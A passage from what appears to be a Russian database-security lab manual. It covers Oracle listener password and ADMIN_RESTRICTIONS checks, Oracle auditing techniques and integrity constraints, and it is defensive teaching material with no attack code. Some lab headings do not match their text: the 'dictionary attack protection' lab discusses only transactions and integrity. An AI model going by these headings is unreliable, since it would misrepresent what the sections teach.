SECURITY=OFF Пароль не установлен, проверьте установку

ADMIN_RESTRICTIONS.

В следующей таблице показаны результаты попыток изменения

конфигурации, например, командой:

set log_file c:/Oracle/OraHome1/network/log

Ответ покажет, установлены ли ADMIN_RESTRICTIONS или пароль.

Таблица 6. Ответы листенера на команду SET

Ответ Значение

Конфигурация

изменена

(пароль не

задавался)

Пароль не установлен.

Опция ADMIN_RESTRICTIONS не включена.

Это серьезный просчет, который может быть использован для

соединения с листенером и организации атак “отказ в

обслуживании”.

Конфигурация

изменена

(был задан

правильный

пароль)

Пароль установлен.

Опция ADMIN_RESTRICTIONS не включена.

Проверьте, что установленный пароль удовлетворяет критериям

сложности, позволяющим снизить риск “лобовых” атак и атак

словаря данных.

Отвергнуто с

кодом ошибки

12508

(пароль не

задавался)

Пароль не установлен.

Опция ADMIN_RESTRICTIONS включена.

Отвергнуто с

кодом ошибки

1169

(был задан

правильный

пароль)

Пароль установлен.

Опция ADMIN_RESTRICTIONS включена. Листенер защищен,

однако такое состояние может оказаться нежелательным с точки

зрения эксплуатации, так как оно никому не позволяет

реконфигурировать листенер. Можно только вручную уничтожить

процесс листенера, используя для этого команды операционной

системы сервера. Необходимость такой конфигурации следует

проанализировать.

В заключение проверьте протокольные и трассировочные (если

трассировка включена) файлы:

выполнение всех выполненных выше команд должно быть

запротоколировано (это позволяет проверить функционирование

механизма протоколирования);

отсутствуют следы необычной деятельности (например, большое

количество ошибок проверки пароля), что может указывать на

проводимую атаку.

Протокольные и трассировочные файлы листенера – полезные

источники информации и их нужно архивировать вместе с журналами аудита

ОС и базы данных для возможного расследования.


1. Трассировочный файл

2. Что позволяет использование межсетевых экранов в БД

3. Команда lsnrctl STATUS

4. Для чего нужны протокольные и трассировочные файлы листенера


Настройка Средства СУБД Oracle по управлению паролями в БД

Цель работы – исследовать настройки средств СУБД Oracle по

управлению паролями в БД.











Простой набор основных действий аудита должен быть активен все

время.

Необходимый минимум включает в себя отслеживание доступа

пользователей, использование системных привилегий и изменение в

структуре базы данных. Этот основной набор не покажет неудавшихся

попыток доступа к специфическим данным, которые не должны быть

доступны; тем не менее, он даст a достаточно простой обзор

"некорректного" доступа или использования привилегий. Если служащий

подозревается в недозволенных действиях или ожидается атака, тогда

может быть применен более детализованный аудит для специфических

таблиц. С точки зрения управления БД, аудит изменения данных для всех

таблиц не так уж практичен и может повлиять на производительность

системы в целом. Аудит доступа для изменения данных следует

использовать для таблиц лишь имеющих особо важное значение (например,

заработанная плата сотрудников в базе данных HR).

Как могут быть проконтролированы пользователи Oracle?

Стандартные команды аудита позволяют контролировать все

системные, и объектные привилегии доступа к любым таблицам или

представлениям базы данных на select, delete, insert or update. Аудит может

быть запущен как для успешных, так и для неуспешных попыток или для

тех и других сразу. Как индивидуально для каждого пользователя, так и для

всех пользователей сразу, он может выполняться на сессионном уровне или

на уровне действия (доступа). На уровне действия - одна запись создается

для одного действия, а на сессионном - одна запись для всех

контролируемых операций одной сессии.

Какие проблемы возникают с производительностью и сложностью?

Часто аудит воспринимается как сложный и медленный. Причина

этому обычное невежество. Если большинство из всех опций включены,

тогда получающийся в результате журнал аудита может быть большим и

трудным для интерпретации и управления. Кроме того, если аудит

задействован на всех таблицах и представлениях базы, то это может

повлиять и на производительность. Всякий раз, когда выполняемое

действие контролируется аудитом в журнал вносится запись; очевидно, что

чем интенсивнее используется аудит, тем больше записей будет записано в

системное табличное пространство исключительно для аудита. В некоторых

случаях это может привести к удвоению количества записей в базу данных:

оригинальная запись и выполняемая для нее запись аудита.

Основное правило настройки аудита это простота и

предусмотрительность.

Выполняйте аудит и детальный мониторинг только тех операций и

объектов, информация о которых действительно необходима. Важно то, что

с помощью простых отчетов можно выявить нарушения, среди

действий, зафиксированных в журнале аудита. Отметим также, что при

инсталляции Oracle, по умолчанию, аудит выключен, и Oracle не

поставляется с какими-нибудь стандартными установками аудита по

умолчанию или отчетами для анализа созданного журнала аудита. Все это,

по моему мнению, является причиной восприятия аудита как сложного.

Стандартные команды аудита не разрешают контролировать операции

на уровне строк. Так же невозможно отслеживать действия

привилегированных пользователей, таких как SYS или "as sysdba" до версии

Oracle 9iR2.

Возможности аудита Oracle

Задачу аудита базы данных Oracle не следует ограничивать только

лишь использованием команд аудита; так же успешно могут быть

применены и другие технологии. Приведем некоторые основные методы,

которые могут быть использованы для аудита базы данных Oracle:

Аудит Oracle

Это основной тема данной статьи. Все привилегии, которые могут

быть предоставлены пользователю или роли базы данных могут быть

проконтролированы. Сюда включено доступ на чтение, запись и удаление

объектов на табличном уровне. Для более детализованного аудита можно

задействовать триггеры.

Системные триггеры

Эта возможность была представлена начиная с Oracle 8 и разрешает

выполнение операций триггера, когда имеет место системное событие.

Сюда включены запуск и останов базы данных, попытки входа и

выхода, создание, изменение и удаление объектов схемы. С помощью

автономных транзакций, можно записывать в журнал упомянутые

системные события.

Update, delete и insert триггеры

Это "вторая линия обороны", которая позволяет понять действия

пользователей на более детальном уровне. Для того, что бы отслеживать

изменения в базе на уровне столбца и строки, можно написать триггеры,

которые позволят полностью сохранять данные, до или после выполненного

действия. Использование этого типа контроля очень ресурсоемко, так как

создается и хранится много дополнительных записей. Кроме того, что

существует еще один недостаток, связанный с этим методом - доступ на

чтение нельзя отследить с помощью обычных триггеров базы данных.

Детализированный (Fine-grained) аудит

Детализированный аудит решает проблему отслеживания доступа на

чтение. Данная возможность основана на внутренних триггерах,

срабатывающих, при разборе какой-нибудь части SQL-предложени я. Это

очень эффективно, так как SQL-предложени е разбирается единожды для

аудита и выполнения.

Fine-grained аудит управляется PL/SQL пакетом который называется

DBMS_FGA. Созданная PL/SQL процедура выполняется каждый раз, когда

выполняется, соответствующее ей, действие с предикатом. Этот метод

позволяет контролировать не только DML-операции на уровне строк и

столбцов, но и предложения чтения. Следует предостеречь читателей, в том,

что для использования этой возможности необходим некоторый опыт

программирования.

Системные журналы

СУБД Oracle генерирует много журнальных файлов, и многие из них

могут содержать полезную информацию для проведения аудита. Например,

alert log используется для записи информации о запуске и останове базы, а

также о вносимых структурных изменениях, таких как добавление файла

данных в базу.


1. Как могут быть проконтролированы пользователи Oracle

2. Какие проблемы возникают с производительностью и сложностью

3. Возможности аудита Oracle

4. Аудит Oracle

5. Системные триггеры

6. Системные журналы


Настройка защиты БД от Атак по словарю

Цель работы – исследовать настройки защиты БД от Атак по словарю.











Важнейшим средством механизма защиты целостности БД выступает

объединение совокупности операций, в результате которых БД из одного

целостного состояния переходит в другое целостное состояние, в один

логический элемент работы, называемый транзакцией. Суть механизма

транзакций состоит в том, что до завершения транзакции все манипуляции с

данными проводятся вне БД, а занесение реальных изменений в БД

производится лишь после нормального завершения транзакции.

С точки зрения безопасности данных такой механизм отображения

изменений в БД очень существенен. Если транзакция была прервана, то

специальные встроенные средства СУБД осуществляют так называемый

откат - возврат БД в состояние, предшествующее началу выполнения

транзакции (откат обычно заключается просто в невыполнении изменений,

обусловленных ходом транзакции, в физической БД) . Если выполнение

одной транзакции не нарушает целостности БД, то в результате

одновременного выполнения нескольких транзакций целостность БД может

быть нарушена. Чтобы избежать подобного рода ошибок, СУБД должна

поддерживать механизмы, обеспечивающие захват транзакциями

модифицируемых элементов данных до момента завершения модификации

так называемые блокировки. При этом гарантируется, что никто не получит

доступа к модифицируемому элементу данных, пока транзакция не

освободит его. Применение механизма блокировок приводит к новым

проблемам управления параллелизмом, в частности, к возникновению

ситуаций клинча двух транзакций. Причем, если некоторая транзакция

пытается блокировать объект, который уже блокирован другой транзакцией,

то ей придется ждать, пока не будет снята блокировка объекта транзакцией,

установившей эту блокировку. Иными словами, блокировку объекта может

выполнять только одна транзакция.

Рисунок 15 – Методы обеспечения целостности баз данных

В классическом понимании поддержка целостности включает 3 части:

Структурная целостность;

Языковая целостность;

Ссылочная целостность.

Методы обеспечения

целостности баз данных

Механизм

транзакций

Ограничения

целостностиТриггеры

NOT NULL

CHECK

FOREIGN KEY

UNIQUE

PRIMARY KEY

Блокировка

Восстановление

Откат

Триггеры строк

Триггеры

событий

BEFORE/

AFTER

Комбинирован

ные

Эти 3 вида целостности определяют допустимую форму представления

и обработки информации в реляционных БД.

Для определения некоторых ограничений, связанных с содержанием БД,

используется другой вид целостности, а именно:

Семантическая целостность.

Структурная целостность.

Структурная целостность подразумевает, что реляционная СУБД может

работать только с реляционными отношениями. А реляционное отношение, в

свою очередь, должно удовлетворять ограничениям, накладываемым на него

в классической теории реляционных БД (отсутствие одинаковых кортежей и,

следовательно, наличие первичного ключа, отсутствие упорядоченности

атрибутов и кортежей).

Требование структурной целостности осуществляется с помощью двух

ограничений:

при добавлении кортежей в отношение проверяется уникальность их

первичных ключей;

не допускается, чтобы какой-либо атрибут, участвующий в первичном

ключе, принимал неопределенное значение.

Языковая целостность.

Языковая целостность состоит в том, что реляционная СУБД должна

обеспечивать языки описания и манипулирования данными не ниже

стандарта SQL. Не должны быть доступны иные низкоуровневые средства

манипулирования данными, не соответствующие стандарту.

Ссылочная целостность.

При установлении связи между отношениями возникает необходимость

поддержания целостности по ссылкам. Отношение со стороны «один» будем

называть – основным отношением, а отношение со стороны «многие» –

подчиненным.

Требование ссылочной целостности состоит в следующем: для каждого

значения внешнего ключа, появляющегося в подчиненном отношении, в

основном отношении должен существовать кортеж с таким же значением

первичного ключа.

У первичного и внешнего ключей, образующих связь, должен быть

одинаковый тип данных.

То есть значение внешнего ключа должно либо:

быть равным значению первичного ключа

быть полностью неопределенным, т.е. каждое значение поля,

участвующего во внешнем ключе должно быть неопределенным.

Для каждого внешнего ключа в процессе проектирования необходимо

решить три вопроса:

Возможность данного внешнего ключа принимать неопределенные

значения.

Результат УДАЛЕНИЯ (DELETE) записи из основного отношения, на

которую ссылается внешний ключ подчиненного отношения.

Например, удалить поставщика, для которого имеется, по крайней мере,

одна поставка.

В общем случае существует три ситуации:

Каскадирование удаления, при котором удаляются все записи из

подчиненного отношения, соответствующие удаляемому первичному ключу

основного отношения (будет удален поставщик и все его поставки);

Ограничение удаления, при котором удаляется запись из основного

отношения только в том случае, если в подчиненном отношении нет

соответствующих значений внешнего ключа, иначе удаление отменяется

(удаление поставщика невозможно, пока существует хотя бы одна его

поставка);

Установка неопределенных значений, при которой внешний ключ

подчиненного отношения устанавливается в неопределенное значение (Null-

значание), а соответствующая запись из основного отношения удаляется (все

значения внешнего ключа в поставках принимают Null-значение, а

поставщик удаляется).

Данное свойство поддерживается не всеми СУБД. Если необходимо

применить эту ситуацию, то в подчиненном отношении сначала нужно

удалить все значения внешнего ключа соответствующие первичному, и

только после этого удалять запись из основного отношения с

соответствующим первичным ключом.

Результат ОБНОВЛЕНИЯ (UPDATE) первичного ключа основного

отношения, на который ссылается некоторый внешний ключ подчиненного

отношения.

Например, при попытке обновления кода поставщика, для которого

имеется хотя бы одна поставка.

Здесь также возможны три ситуации:

Каскадирование обновления, при котором при обновлении первичного

ключа обновляются все соответствующие внешние ключи (будет обновлен

код поставщика в основном отношении и все соответствующие ему внешние

ключи в поставках);

Ограничение обновления, при котором обновляется первичный ключ в

основном отношении только в том случае, если в подчиненном отношении

нет соответствующих значений внешнего ключа, иначе обновление

отменяется (обновление кода поставщика невозможно, пока существует хотя

бы одна поставка этого поставщика);

Установка неопределенных значений, при которой внешний ключ

подчиненного отношения устанавливается в неопределенное значение, а

соответствующий первичный ключ в основном отношении обновляется (все

значения внешнего ключа в поставках принимают Null-значение, а код

поставщика в основном отношении обновляется).

Семантическая целостность.

Данный вид целостности задается разработчиком в процессе

проектирования БД посредством задания ограничений для свойств полей.

Обычно задаются ограничения свойств:

Уникальность значений полей.

Например, в отношении Клиент (ФИО, Телефон, Адрес) свойство

уникальности значений должно быть установлено для атрибутов: ФИО (т.к.

это первичный ключ) и Адрес.

Обязательность заполнения полей (допустимость или недопустимость

Null-значений).

Например, при вводе данных о поставщиках не вся информация может

быть доступна сразу: адрес, телефоны для связи могут быть уточнены

позднее. Т.е. для атрибутов Код города, Адрес, Телефон устанавливается

допустимость Null-значений.

Значение по умолчанию. Задание значения по умолчанию по умолчания

означает, что каждый раз при вводе новой строки в отношение, при

отсутствии данных этому атрибуту присваивается значение по умолчанию.

Например, если большинство поставщиков находятся во Владивостоке, то

для атрибута Код города присваивается значение по умолчанию

соответствующее коду Владивостока

Диапазон значений.

Например, оценки выставляются по пяти бальной шкале от 1 до 5, тогда

условие для этого диапазона будет выглядеть как: Between 1 And 5

Принадлежность набору значений.

Например, атрибут Результат Зачета может принимать значения только

«Зачтено» или «Не зачтено», тогда условие на проверку принадлежности

набору значений будет выглядеть как: «Зачтено» Or «Не зачтено».

Рисунок 16 – Типы целостности данных

Целостность полей – указывает набор значений данных, которые

являются правильными для поля, и определяет, возможно ли использование

Типы целостности данных

Целостность полей

Целостность таблицы

Целостность ссылок

нулевого значения. Например, поле для хранения пола человека может

содержать одно из двух значений – М или Ж. Целостность полей чаще всего

обеспечивается с помощью ограничения CHECK, формата или региона

возможных значений для поля.

Целостность таблицы – требуют, чтобы все строки в таблице имели

уникальный идентификатор, называемый первичным ключом. Может ли

первичный ключ изменяться, или может ли строка удаляться, зависит от

уровня целостности. Например, в некоторых случаях можно разрешить

удаление записей, но чаще всего оно должно быть запрещено. Не желательно

терять данные, потому что впоследствии невозможно будет узнать историю

изменений в таблице.

Целостность ссылок – подразумевает отношения между первичным

ключом и внешним ключом всегда защищенными. Строка основной таблицы,

на которую ссылаются, не может быть удалена и первичный ключ не может

быть изменен, если вторичный ключ ссылается на строку, пока не будет

уничтожена связь. Иначе связь нарушается и восстановить ее потом

становится проблематичным.

Существует два спопоба обеспечения гарантии целостности данных:

описанная целостность данных и предшествующая целостность данных.

Описанная целостность данных подразумевает объявление критерий,

которые данные должны содержать как часть описания объекта и после этого

СУБД автоматически гарантирует, что данные соответствуют критериям.

Такая целостность обеспечивается с помощью ограничений CHECK,

DEFAULT и внешнего ключа.

Предшествующая целостность данных – это программа, которая

определяет критерии, которым должны соответствовать данные. Этот способ

обеспечивается с помощью процедур и триггеров, которые могут

выполняться на сервере или с помощью кода программ в клиентском

приложении. Желательно минимизировать использование этого метода для

упрощения бизнес логики и ошибок, но иногда без триггера не возможно

гарантировать, что таблицы будут содержать нужные или разрешенные

значения.

Ограничение – это основной метод обеспечения целостности данных.

Ограничения могут создаваться во время создания таблицы (CREATE

TABLE) или редактирования (ALTER TABLE). Если ограничение

назначается отдельному полю, оно называется ограничения уровня поля.

Если ограничение ссылается на несколько полей, оно называется

ограничением уровня таблицы, даже если оно ссылается не на все колонки

таблицы.

Далее рассмотрены основные операторы ограничений, имеющие

отношение к целостности данных.

DEFAULT.

Ограничение DEFAULT помещает значение в колонку, когда оно не

было указано в операторе INSERT. Оно относится только к оператору

добавления записи (INSERT) и не срабатывает во время изменения полей

(оператор UPDATE). Таким образом, данное ограничение не гарантирует, что

поле содержит значение. Пользователь может добавить строку и потом с

помощью UPDATE обнулить содержимое поле со значением по умолчанию.

Таким образом, DEFAUL является самым простым и быстрым по

скорости выполнения методом обеспечения целостности, но не является

гарантом. Необходимы дополнительные средства, например, ограничение на

диапазон вводимых значений или триггер. Например, помимо значения

DEFAULT мы создаем ограничение, которое не позволяет записывать в поле

нулевые значения, что защитит нас от возможности записи в поле NULL

даже при обновлении данных.

Уникальность.

Ограничение UNIQUE (уникальность) указывает, что две строки в

колонке не могут содержать одно и тоже значение. Это ограничение

обеспечивает целостность таблицы с уникальным индексом. Ограничение

уникальности эффективно, когда уже имеется первичный ключ, но надо

гарантировать, что другое поле тоже уникально.

Ограничений уникальности может быть несколько в таблице, и для

каждого такого поля будет создаваться индекс

Ключи.

Ограничение PRIMARY KEY определяет первичный ключ таблицы,

который уникально идентифицирует строку. Это гарантирует целостность

таблицы.

Свойства первичного ключа:

в таблицы может быть только один первичный ключ, но этот ключ

может состоять из нескольких полей;

поле не может содержать нулевого значения;

для полей первичного ключа создается индекс, который может быть

кластерным или не кластерным.

Не смотря на то, что для полей первичного ключа не создается

ограничения уникальности, оно подразумевается и две записи не могут

содержать одинаковых значений в первичном ключе.

Ограничение FOREIGN KEY (внешний ключ) гарантирует ссылочную

целостность. Ограничение внешнего ключа определяет ссылку на колонку с

первичным ключом или уникальную колонку в этой же или другой таблице.

С помощью такого ключа обеспечивается целостность связей между

таблицами.

Внешний ключ, как и первичный, может состоять из нескольких полей.

При создании связующего ключа, количество колонок внешнего ключа

должно соответствовать количеству колонок первичного ключа, с которым

происходит связь. Связываться можно не только с первичным ключом, но и с

полем, содержащим ограничение уникальности.

Ограничение внешнего ключа включает опцию CASCADE, которая

позволяет любые изменения сделанные в уникальной колонке или первичном

ключе автоматически переносить в значение внешнего ключа. Такое

действие называется целостностью каскадных ссылок.


1. Виды целостности.

2. Требование структурной целостности.

3. Языковая целостность.

4. Ссылочная целостность

Список литературы:

1. А. Лихоносов. Безопасность баз данных. Учебное пособие. М., 2010.

2. MySQL 5.0 Reference Manual..

3. Триггер (базы данных). Материалы из Википедии – свободной

энциклопедии.

4. FIPS Publication 197. Specification for the Advanced Encryption

Standard.– November 26, 2001.

5. S. Panasenko. SHA Hash Functions: History & Current State.– 2009.

УЧЕБ Н О Е ПОСОБ И Е (практикум )

Documents

Transcript of УЧЕБ Н О Е ПОСОБ И Е (практикум )